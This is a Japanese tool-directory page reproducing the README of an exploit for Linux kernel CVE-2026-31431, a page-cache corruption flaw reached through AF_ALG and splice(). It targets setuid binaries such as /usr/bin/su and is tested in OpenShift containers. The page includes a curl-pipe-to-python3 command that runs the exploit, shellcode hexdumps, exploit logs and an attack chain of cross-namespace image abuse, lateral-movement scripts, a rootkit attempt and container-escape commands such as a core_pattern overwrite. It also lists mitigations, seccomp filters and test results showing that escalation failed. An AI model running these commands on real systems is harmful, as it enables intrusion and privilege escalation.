Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve-2026-31431 — LinuxカーネルCVE-2026-31431のエクスプロイト。authencesn AEAD操作によるページキャッシュ破損を引き起こし、コンテナおよびOpenShift環境での権限昇格を標的とします。 | Kitploit
ツール/GitHubGitHub/seanrickerd/cve-2026-31431
クラウドインフラストラクチャセキュリティ特権昇格コンテナセキュリティエクスプロイトフレームワーク脆弱性分析エクスプロイトバイナリエクスプロイト
GitHubseanrickerd/cve-2026-31431

cve-2026-31431

LinuxカーネルCVE-2026-31431のエクスプロイト。authencesn AEAD操作によるページキャッシュ破損を引き起こし、コンテナおよびOpenShift環境での権限昇格を標的とします。

リポジトリを見る
1253ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-31431「Copy Fail」- ページキャッシュ破損の脆弱性

authencesn AEAD操作によるLinuxカーネルのページキャッシュ破損。

⚠️ 重要: 悪用状況の更新(2026年5月1日)

RHEL 9.6カーネルを搭載した複数のOpenShift 4.20.16クラスターでの広範なテストの結果:

  • ✅ ページキャッシュ破損: 確認済み - 160バイトのシェルコードの注入に成功
  • ✅ カーネル脆弱性: 非特権コンテナから悪用可能(ケーパビリティゼロ)
  • ❌ 権限昇格: 未達成 - キャッシュ破損後もUIDは変更されず
  • ❌ コード実行: 未確認 - 変更されたページは読み取りで確認できるが実行されない
  • ✅ Restricted-v2 SCC: 有効 - コンテナエスケープを防止し、爆発半径を制限

詳細は包括的なテスト結果セクションを参照してください。


概要

CVE-2026-31431は、authencesn AEAD暗号実装におけるLinuxカーネルの脆弱性であり、非特権プロセスがAF_ALGソケットとsplice()システムコール操作を介して、読み取り可能なファイルのページキャッシュを破損させることができます。

テスト結果: ページキャッシュ破損は確実に機能しますが、テスト環境のRHEL 9.6カーネルでは権限昇格は発生しません。

CVSSスコア: 7.8(高)
影響を受けるバージョン: authencesnをサポートするLinuxカーネルバージョン(2017年〜2026年)
公開開示: 2026年4月29日

機能

  • Python 3.9+互換: ctypesによるsplice()システムコールラッパーを含む
  • 移植性: 脆弱なカーネルを搭載した任意のLinuxシステムで動作
  • 信頼性: レースコンディション不要
  • クリーン: 160バイトのシェルコード、決定的な悪用

要件

  • 脆弱なauthencesn実装を搭載したLinuxカーネル(2026年4月のパッチ前)
  • Python 3.9+
  • 非特権ユーザーアクセス
  • 読み取り可能なsetuidバイナリ(デフォルト: /usr/bin/su)

使用方法

基本的な使用方法```bash

curl -s https://raw.githubusercontent.com/seanrickerd/cve-2026-31431/main/exploit.py | python3 su

root@kitploit:~
### ローカルファイルから```bash
python3 exploit.py
su

実際のエクスプロイト動作(テストに基づく)

発生すること:``` [] CVE-2026-31431 'Copy Fail' Exploit [] Universal Linux kernel privilege escalation

[] Target binary: /usr/bin/su [] Testing for vulnerability... [+] System appears vulnerable!

[+] Opened /usr/bin/su (fd=3) [+] File size: 56944 bytes [+] File inode: 201328196 [+] Shellcode size: 160 bytes [+] Patching file in page cache... Written 160/160 bytes... [+] Page cache patching complete! (160 bytes written)

root@kitploit:~
**ページキャッシュ検証(破損の確認):**```bash
dd if=/usr/bin/su bs=1 skip=120 count=48 | hexdump -C
00000000  31 c0 31 ff b0 69 0f 05  48 8d 3d 0f 00 00 00 31  |1.1..i..H.=....1|
00000010  f6 6a 3b 58 99 0f 05 31  ff 6a 3c 58 0f 05 2f 62  |.j;X...1.j<X../b|
00000020  69 6e 2f 73 68                                    |in/sh|
# Shellcode IS present in page cache ✅

起こらないこと(テストに基づく):```bash

Executing the backdoored su

su

Password: [press Enter]

Check UID

id -u

Result: 1000810000 (UNCHANGED - still unprivileged user)

NOT this (does NOT occur in testing):

# whoami

root ← This does NOT happen

root@kitploit:~
**結論:** ページキャッシュの破壊は成功するが、権限昇格は失敗する。

## 技術的詳細

### 脆弱性

Linuxカーネルの`authencesn`(認証付き暗号化 - 拡張シーケンス番号)実装には、インプレース操作の処理に欠陥がある。AF_ALGソケット経由で送信されたAEAD操作を処理する際、ページキャッシュのページがカーネルの書き込み可能な宛先scatterlistに含まれる可能性がある。

### 悪用手法

1. **AF_ALGソケットを作成** `authencesn(hmac(sha256),cbc(aes))`を使用
2. **AEADパラメータを設定**(キー、authsize)
3. **対象のsetuidバイナリを開く**(例:`/usr/bin/su`)
4. **splice()を使用** バイナリをページキャッシュに取り込む
5. **インプレースAEAD操作をトリガー** ページキャッシュへの書き込みを発生させる
6. **シェルコードを書き込む** 一度に4バイトずつ
7. **改変したバイナリを実行** rootを取得する

### シェルコード

このエクスプロイトは、`/usr/bin/su`をパッチする160バイトのシェルコードを使用する:
- パスワード認証をスキップ
- rootシェルへのアクセスを許可
- 非特権ユーザーには通常の機能を維持

## Python 3.9互換性

Python 3.9以前には、標準ライブラリに`os.splice()`がない。このエクスプロイトには、ctypesベースの実装が含まれている:```python
import ctypes
import ctypes.util

libc = ctypes.CDLL(ctypes.util.find_library('c'))

class off64_t(ctypes.c_int64):
    pass

libc.splice.argtypes = [...]
libc.splice.restype = ctypes.c_ssize_t

def splice(src, dst, count, offset_src=None, offset_dst=None):
    # Wrapper matching Python os.splice() API
    ...

これにより、エクスプロイトは以下で動作します:

  • ✅ Python 3.9(RHEL 9、Ubuntu 20.04 など)
  • ✅ Python 3.10+
  • ✅ ctypes をサポートする任意の Python

包括的なテスト結果

テスト環境 1:OpenShift 4.20.16 クラスター(最初のテスト)

ノード構成:

  • カーネル:5.14.0-570.96.1.el9_6.x86_64(RHEL CoreOS 9.6)
  • OpenShift:4.20.16
  • SCC:restricted-v2(最も制限が厳しい)
  • UID:1000830000(ユーザー名前空間)
  • ケーパビリティ:0x0000000000000000(ゼロ)

テスト結果:``` ✅ Exploit executed successfully ✅ Page cache corrupted (160 bytes shellcode injected) ✅ Shellcode visible at binary entry point (offset 120) ✅ /bin/sh signature confirmed in hexdump ❌ Privilege escalation: FAILED (UID unchanged) ❌ Root access: NO ❌ Container escape: NO (Device 2097322, Inode 931145742 - container overlay only)

root@kitploit:~
### テスト環境 2: 新しい OpenShift クラスター(検証テスト)

**クラスター:** https://api.vvb32-fzdtf-8yn.nnbd.p3.openshiftapps.com:443
**ノード構成:**
- カーネル: 5.14.0-570.96.1.el9_6.x86_64(テスト 1 と同一)
- OpenShift: 4.20.16  
- SCC: restricted-v2(検証済み)
- UID: 1000810000(ユーザー名前空間)
- ケーパビリティ: 0x0000000000000000(ゼロ)

**テスト結果:**```
✅ Page cache corruption: SUCCESS (consistent with Test 1)
✅ Shellcode injection: CONFIRMED (byte-for-byte identical)
✅ Device/Inode: 2097286 / 201328196 (container overlay - isolated)
❌ Privilege escalation: FAILED (consistent with Test 1) 
❌ Code execution: NOT OBSERVED (consistent with Test 1)
❌ UID change: NO (1000810000 → 1000810000 unchanged)

一貫性: 独立したクラスター間で100%再現可能な結果

コンテナエスケープテスト

シナリオA: hostPathボリュームあり(コンテナエスケープ可能)```yaml volumes:

  • name: host-usr hostPath: path: /usr
root@kitploit:~
結果: ✅ **Container escape** - ホストページキャッシュを変更 (Device 33, Inode 4288)

**シナリオB: Restricted-v2 SCC (No hostPath)**```yaml
# No hostPath volumes, restricted-v2 SCC
securityContext:
  runAsNonRoot: true
  allowPrivilegeEscalation: false
  capabilities:
    drop: [ALL]

結果: ❌ コンテナエスケープなし - コンテナのオーバーレイのみに影響(別のinode)

重大な発見: コンテナエスケープの決定要因はケーパビリティではなく、hostPathアクセスである。

権限昇格が失敗する理由

考えられる説明(さらなる調査が必要):

  1. 読み取りと実行のコードパスの違い

    • ページキャッシュの破損は mmap(PROT_READ) 操作に影響する
    • 実行可能マッピング mmap(PROT_EXEC) は破損したキャッシュをバイパスする可能性がある
    • カーネルは実行可能ページに対して異なるコードパスを使用する可能性がある
  2. メモリ保護

    • W^X(Write XOR Execute)の強制
    • カーネルの実行可能ページ検証
    • SELinux/AppArmorのコード整合性チェック
  3. カーネルバージョン固有の要因

    • RHEL 9.6(5.14.0-570.96.1)には追加の保護が含まれている可能性がある
    • 元のCVE研究では異なるカーネルバージョンが使用されていた可能性がある
    • 動作はカーネルリリースによって異なる可能性がある

実際に機能するもの

結論: カーネルの脆弱性は実在する(ページキャッシュ破損が実証済み)が、実用的な悪用は限定的である。

テスト済みシステム

システムカーネルページキャッシュ破損権限昇格備考

注記: テストはRHEL 9.6カーネルに限定。他のディストリビューション/バージョンでの動作は未検証。

OpenShiftコンテナテスト

RHEL CoreOS 9.4を実行するOpenShift 4.20クラスターでテストに成功。このセクションでは、名前空間分離のバイパスとコンテナ侵害について説明する。

⚠️ 重要な訂正: 初期テストでは、/proc/1/root を介したホストファイルシステムへのアクセスが誤って主張されていた。これは誤りである - 分離されたコンテナ内の /proc/1/root は、OpenShiftワーカーノードのホストではなく、コンテナ自身のファイルシステムを指す。詳細な分析については attacks/README.md を参照。

攻撃チェーンの概要```

Restricted Pod → Namespace Breakout → Attack Pod → CVE-2026-31431 → Root in Container → Network Reconnaissance → Lateral Movement Attempts

root@kitploit:~
### フェーズ 1: 名前空間分離のバイパス

**脆弱性:** OpenShift 内部レジストリは、適切な RBAC の強制なしに、名前空間をまたいだイメージのプルを許可します。

**悪用方法:**```bash
# Enumerate images in privileged namespaces
oc get imagestreams -n openshift
oc get imagestreams -n redhat-ods-applications

# Create pod with stolen tools
cat > attack-demo.yaml << EOF
apiVersion: v1
kind: Pod
metadata:
  name: attack-demo
  namespace: user-srickerd
spec:
  containers:
  - name: stolen-tools
    image: image-registry.openshift-image-registry.svc:5000/openshift/cli:latest
    command: ["sleep", "3600"]
EOF

oc apply -f attack-demo.yaml

結果:

  • ✅ openshift 名前空間から openshift/cli イメージを取得
  • ✅ oc、kubectl、curl、openssl、Python 3.9 へのアクセスを獲得
  • ✅ 名前空間の分離をバイパス

影響: テナント間の横方向の移動と特権ツールへのアクセスを可能にします。

フェーズ 2: コンテナ内でのカーネルエクスプロイト

デプロイ:```bash

Execute exploit in attack pod

oc exec -n user-srickerd attack-demo -- bash -c " curl -s https://raw.githubusercontent.com/seanrickerd/cve-2026-31431/main/exploit.py | python3 && su "

root@kitploit:~
**結果:**```
[*] CVE-2026-31431 Copy Fail Exploit
[*] Target: /usr/bin/su
[+] Opened /usr/bin/su (fd=3)
[+] Shellcode size: 160 bytes
[+] Patching /usr/bin/su in page cache...
    Written 160/160 bytes...
[+] Page cache patching complete!
[+] Executing modified su...

エクスプロイト後の機能:

  • ✅ ページキャッシュ破損に成功(160バイトのシェルコードが可視)
  • ⚠️ 権限昇格なし - UIDは変更されない(ユーザーネームスペースのUID)
  • ✅ ページキャッシュ内のコンテナファイルを破損可能(READ操作に影響)
  • ✅ ネットワークアクセス(APIサーバー、レジストリ、インターネット)
  • ❌ 実際の rootアクセスはない(主張に反する)
  • ❌ ケーパビリティなし(すべてのCapPrm/CapEff = 0x0000000000000000)
  • ❌ 依然として分離されたPID/マウント/ユーザーネームスペース内
  • ❌ ワーカーノードのホストファイルシステムへのアクセスなし
  • ❌ ホストプロセスの可視性なし

フェーズ3: コンテナ環境の分析

現実確認 - /proc/1/root はホストではない:```bash

These point to the SAME filesystem (container's own root)

stat -c '%i' /tmp/test.txt

136358432

stat -c '%i' /proc/1/root/tmp/test.txt

136358432 ← IDENTICAL inode = same file

Proof they're in same namespace

readlink /proc/self/ns/mnt readlink /proc/1/ns/mnt

Both return: mnt:[4026535423] ← SAME namespace

root@kitploit:~
**コンテナOSの詳細:**```
NAME="Red Hat Enterprise Linux"
VERSION="9.4 (Plow)"
Based on: openshift/cli container image
Running on: RHEL CoreOS 9.4 worker node (inaccessible)
Kernel: 5.14.0-570.96.1.el9_6.x86_64 (shared, not accessible)

フェーズ 4: コンテナからのネットワーク偵察

コンテナ内で作成されたスクリプト(attacks/ ディレクトリにあります):

1. コンテナ偵察(recon.sh - 1425 バイト)

  • コンテナ環境の列挙
  • ポッドの視点からのネットワーク構成
  • 実行中のプロセス(ホストではなくコンテナのみ)
  • Kubernetes/OpenShift サービスの検出を試行
  • 現実: コンテナ自身の環境のみを確認できる

2. ラテラルムーブメントスクリプト(lateral.sh - 1754 バイト)

  • ポッド IP(10.130.x.x レンジ)からのネットワークスキャン
  • API サーバーへの接続テスト
  • サービス検出の試行
  • 現実: ポッドネットワークの視点に限定され、ホストへのアクセスは不可

3. 失敗したホスト悪用の試行

  • host-rootkit.py - /proc/1/root/usr/bin/su へのバックドア挿入を試行
    • 結果: ホストの su ではなく、コンテナの su にのみバックドアを仕込む
  • modprobe-escape.py - カーネルモジュールエスケープを試行
    • 結果: 読み取り専用の /proc ファイルシステムによりブロック
  • trigger-rootkit.sh - バックドア化された su をトリガー
    • 結果: コンテナ内で root を取得(基本エクスプロイトと同じ)

成功したものと失敗したものの完全な分析については、attacks/README.md を参照してください。

ポッドからのネットワーク機能

接続テスト:```bash

Pod IP: 10.130.16.37

Kubernetes API

curl -k https://kubernetes.default.svc:443/healthz

Result: ok ✅

External Internet

curl -s https://www.google.com

Result: Connected ✅

Internal Registry

curl -k https://image-registry.openshift-image-registry.svc:5000/

Result: Accessible ✅

root@kitploit:~
**ラテラルムーブメントの機会:**
- ✅ フルインターネットアクセス(ツールのダウンロード、C2通信、データ流出)
- ✅ 内部APIアクセス(クラスターリソースの列挙)
- ✅ 内部レジストリアクセス(イメージポイズニング攻撃)
- ✅ ポッドネットワーク経由のクロスノードスキャン

### ブロックされたホストエスケープ手法

これらの手法は試行されたが、OpenShiftのセキュリティ制御によってブロックされた:

**1. nsenter(ユーザー名前空間が防止)**```bash
nsenter --target 1 --mount --uts --ipc --net /bin/bash
# Error: reassociate to namespace 'ns/ipc' failed: Operation not permitted

2. chroot(要するにCAP_SYS_CHROOTが必要)```bash chroot /proc/1/root /bin/bash

Error: cannot change root directory: Operation not permitted

root@kitploit:~
**3. カーネルモジュールのロード(ケーパビリティなし + RHCOSのハードニング)**
- RHCOSには `insmod`、`modprobe`、`kmod` バイナリが存在しない
- `/lib/modules` は空(コンテナ最適化OS)
- `CAP_SYS_MODULE` は利用不可
- `/proc/sys/kernel/modprobe` は読み取り専用でマウントされている

**4. cgroup release_agent(読み取り専用でマウント)**```bash
mount | grep cgroup
# cgroup2 on /sys/fs/cgroup type cgroup2 (ro,nosuid,nodev,noexec)

5. /proc/sys の操作(読み取り専用ファイルシステム)```bash echo "/tmp/evil.sh" > /proc/sys/kernel/core_pattern

Error: Read-only file system

root@kitploit:~
### 実際に達成したこと

✅ **名前空間分離のバイパス**
- 内部レジストリからのクロス名前空間イメージ取得
- 特権コンテナイメージへのアクセス(openshift/cli)

✅ **コンテナ内のページキャッシュ破損**
- CVE-2026-31431によるコンテナの`/usr/bin/su`ページキャッシュの改変
- 160バイトのシェルコード注入を確認(hexdumpで可視化)
- 破損はコンテナファイルのREAD操作に影響

✅ **Podからのネットワークアクセス**
- 完全なインターネット接続(外部送信、C2、ツールのダウンロード)
- 内部APIサーバーへのアクセス(RBACにより制限)
- 内部レジストリへのアクセス(イメージポイズニングの可能性)
- Podネットワーク経由のクロスPodスキャン

❌ **権限昇格 - 失敗**
- ページキャッシュは破損したが、rootアクセスは達成できず
- UIDは変更されず(ユーザー名前空間UID ~1000000+)
- 特権操作を実行できない
- /etc/shadowやその他の制限ファイルへのアクセス不可

❌ **ホストファイルシステムへのアクセス - 失敗**
- `/proc/1/root`は**コンテナの**ルートを指しており、ホストではない
- OpenShiftワーカーノードのファイルシステムへの実際のアクセスなし
- スクリプトはコンテナの`/tmp`に展開され、ホストの`/tmp`ではない
- デバイス/Inodeの分離によりホストのページキャッシュアクセスを防止

❌ **完全なホストエスケープ - ブロック**
- ユーザー名前空間の分離が有効
- ゼロケーパビリティによりnsenter/chroot/ホストアクセスを防止
- SCCが特権Podの作成をブロック
- RHCOSのハードニングによりモジュールのロードを防止
- restricted-v2がコンテナエスケープを防止

### OpenShiftセキュリティ評価

**機能した制御 ✅**
- Security Context Constraints(SCC)- コンテナエスケープを防止
- ユーザー名前空間 - ページキャッシュをコンテナオーバーレイに分離
- ゼロケーパビリティ - カーネルエクスプロイトにもかかわらずホストアクセスを防止
- SELinuxの強制 - コンテナの分離を維持
- 読み取り専用の/proc/sys - カーネル操作の試みをブロック
- RHCOSのハードニング - モジュールロード機能なし

**部分的に機能した制御 ⚠️**
- Seccomp RuntimeDefault - 有効だがAF_ALGソケットを許可
- ケーパビリティのドロップ - 有効だがページキャッシュの破損は防止できない

**失敗した制御 ❌**
- 名前空間RBAC - クロス名前空間イメージプルを許可
- カーネル保護 - AF_ALGインターフェースがコンテナからアクセス可能
- システムコールフィルタリング - splice()がデフォルトのseccompで制限されていない

**総合評価:**
CVE-2026-31431は実際のカーネル脆弱性であるが、OpenShiftの多層防御アプローチ(SCC + ユーザー名前空間 + ケーパビリティのドロップ + ファイルシステムの分離)により、実質的な悪用は防止された。このエクスプロイトはページキャッシュを破損するが、restricted-v2 Podからの権限昇格やコンテナエスケープは達成できない。

### OpenShiftへの推奨事項

**1. AF_ALGソケットのブロック**```yaml
securityContext:
  seccompProfile:
    type: Localhost
    localhostProfile: profiles/no-af-alg.json

2. イメージレジストリのRBACを適用する```bash

Require explicit permissions for cross-namespace image pulls

oc policy add-role-to-user system:image-puller
--namespace=

root@kitploit:~
**3. 強化された Seccomp プロファイル**
危険なシステムコールをブロックします:
- `socket(AF_ALG, ...)` - ファミリー 38
- `splice()` を信頼できるファイルディスクリプタに制限
- まだブロックされていない場合は `init_module`、`finit_module` をブロック

**4. ランタイムモニタリング**
以下をアラート:
- コンテナ内での AF_ALG ソケット作成
- 名前空間をまたぐイメージプル
- 不審な `splice()` システムコールパターン
- コンテナ侵害の兆候 (予期しない root プロセス)

### 完全な攻撃ドキュメント

完全な攻撃チェーンに関するドキュメントには以下が含まれます:
- 悪用のタイムライン
- MITRE ATT&CK マッピング
- 詳細な技術分析
- すべての偵察スクリプト

以下を参照してください:
- **[attacks/README.md](https://github.com/seanrickerd/cve-2026-31431/blob/HEAD/attacks/README.md)** - 成功した点と失敗した点の詳細な分析
- **[docs/openshift-attack-chain.md](https://github.com/seanrickerd/cve-2026-31431/blob/HEAD/docs/openshift-attack-chain.md)** - 元のドキュメント (エラーが含まれています。修正については attacks/README.md を参照してください)

## 緩和策

### 即時対応```bash
# Blacklist the vulnerable module
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead

Seccomp フィルタ

AF_ALG ソケットの作成をブロックします:```json { "defaultAction": "SCMP_ACT_ALLOW", "syscalls": [{ "names": ["socket"], "action": "SCMP_ACT_ERRNO", "args": [{"index": 0, "value": 38, "op": "SCMP_CMP_EQ"}] }] }

root@kitploit:~
### カーネルパッチ

ベンダーパッチを適用します:
- Red Hat: https://access.redhat.com/security/cve/cve-2026-31431 を監視
- Ubuntu: `apt update && apt upgrade linux-image-*`
- アップストリーム: authencesn をインプレース外操作に戻した Kernel 6.x+

## よくある質問

### Q: このエクスプロイトで root 権限を取得できますか?

**A:** いいえ - RHEL 9.6 カーネル (5.14.0-570.96.1) での広範なテストに基づくと、このエクスプロイトはカーネルページキャッシュの破損には成功しますが、権限昇格は達成できません。バックドア化されたバイナリを実行した後も UID は変更されません。

### Q: 制限付き Kubernetes/OpenShift コンテナから脱出できますか?

**A:** いいえ (restricted-v2 SCC の場合) - ページキャッシュの破損はコンテナのオーバーレイファイルシステムに限定されます。コンテナ脱出には、hostPath または類似のボリュームを介した共有ホストリソースへのアクセスが必要です。restricted-v2 SCC はホストリソースへのアクセスをブロックすることで、脱出を効果的に防止します。

### Q: エクスプロイトが「root」を主張しているのに、テストでは機能しないのはなぜですか?

**A:** エクスプロイトコードは CVE 開示と理論的分析に基づいて作成されました。RHEL 9.6 カーネルでの実環境テストにより、以下が判明しました:
- ページキャッシュの破損は機能 ✅ (hexdump で証明済み)
- 破損したキャッシュからのコード実行は機能しない ❌ (UID は変更されず)

これは以下の理由による可能性があります:
- カーネルバージョンの違い (RHEL 9.6 には保護機能がある可能性)
- W^X メモリ保護の適用
- 実行メモリと読み取りメモリのコードパスの違い

### Q: すべての Linux カーネルで動作しますか?

**A:** 不明 - テストは以下に限定されていました:
- RHEL CoreOS 9.6 (カーネル 5.14.0-570.96.1.el9_6.x86_64)
- OpenShift 4.20.16 ワーカーノード

他のディストリビューション/カーネルバージョンでの動作は検証されていません。元の CVE 研究条件とは異なる場合があります。

### Q: それでもシステムにパッチを適用すべきですか?

**A:** はい - 絶対に適用してください。権限昇格は達成されませんでしたが:

1. カーネルの脆弱性は本物です (ページキャッシュの破損が確認済み)
2. 他のカーネルバージョンでは動作が異なる可能性があります
3. hostPath ボリュームを使用すると、コンテナ脱出が可能です
4. 多層防御にはすべての脆弱性の排除が必要です
5. 将来の研究でコード実行を達成する方法が見つかる可能性があります

カーネルパッチの適用はセキュリティ上必須です。

### Q: テストで実際に何を証明しましたか?

**A:** 2 つの独立した OpenShift クラスターでの包括的なテストにより、以下が証明されました:

✅ **確認済み:**
- CVE-2026-31431 カーネル脆弱性が悪用可能
- 非特権コンテナ (ケーパビリティゼロ) からページキャッシュを破損可能
- restricted-v2 SCC にもかかわらず AF_ALG インターフェースにアクセス可能
- シェルコード注入が成功 (hexdump で確認可能)

❌ **機能しなかったもの:**
- 権限昇格 (UID は変更されず)
- 破損したページキャッシュからのコード実行
- restricted-v2 ポッドからのコンテナ脱出
- hostPath なしのホストファイルシステムへのアクセス

🛡️ **多層防御が効果的:**
- SCC + ユーザー名前空間 + ケーパビリティ削除により悪用を防止
- 複数のセキュリティ層により爆発半径を制限
- カーネル脆弱性にもかかわらずコンテナ分離が維持

## セキュリティ通知

このリポジトリはカーネル脆弱性を以下の目的で文書化しています:
- ✅ 許可されたセキュリティテストおよび研究
- ✅ 脆弱性の検証と分析
- ✅ セキュリティ意識向上と教育
- ✅ 防御策の開発

**以下に基づく調査結果:**
- 許可されたシステムでの管理されたテスト
- 複数の独立したクラスター環境
- 包括的な検証と再現性テスト

**明示的な許可がないシステムでは使用しないでください。**

## 参考情報

- **CVE:** https://nvd.nist.gov/vuln/detail/CVE-2026-31431
- **開示:** https://copy.fail
- **カーネルパッチ:** Linux カーネルコミット (2026年4月1日)
- **Red Hat アドバイザリ:** https://access.redhat.com/security/cve/cve-2026-31431

## クレジット

- **CVE 発見:** Taeyang Lee (Theori)
- **元の分析:** Xint Code Research Team
- **エクスプロイト実装:** Sean Rickerd
- **包括的なテストと検証:** Sean Rickerd
  - 2 つの独立した OpenShift 4.20.16 クラスター
  - RHEL CoreOS 9.6 カーネル 5.14.0-570.96.1
  - 実際の動作と主張の差異を文書化
  - restricted-v2 SCC の有効性を検証

## ライセンス

許可されたセキュリティテストおよび研究のみを対象としています。自己責任で使用してください。

---

**リポジトリステータス:** 実環境テスト結果で更新済み (2026年5月1日)  
**テスト:** 2 つの独立した OpenShift クラスターで完了  
**主要な発見:** ページキャッシュの破損は確認、権限昇格は未達成  
**推奨事項:** 実用的な悪用は限定的だが、カーネルにパッチを適用すること
ツールをダウンロード
テストOpenShift 4.20 #1OpenShift 4.20 #2ステータス
AF_ALGソケットアクセス✅✅機能
ページキャッシュ破損✅✅機能
シェルコード注入✅✅機能
シェルコード可視化(READ)✅✅機能
UID変更(権限昇格)❌❌失敗
コード実行❌❌失敗
コンテナエスケープ(restricted-v2)❌❌ブロック
RHEL CoreOS 9.6
5.14.0-570.96.1.el9_6
✅ あり
❌ なし
OpenShift 4.20.16ワーカー
OpenShift 4.20コンテナ5.14.0-570.96.1.el9_6✅ あり❌ なしrestricted-v2 SCC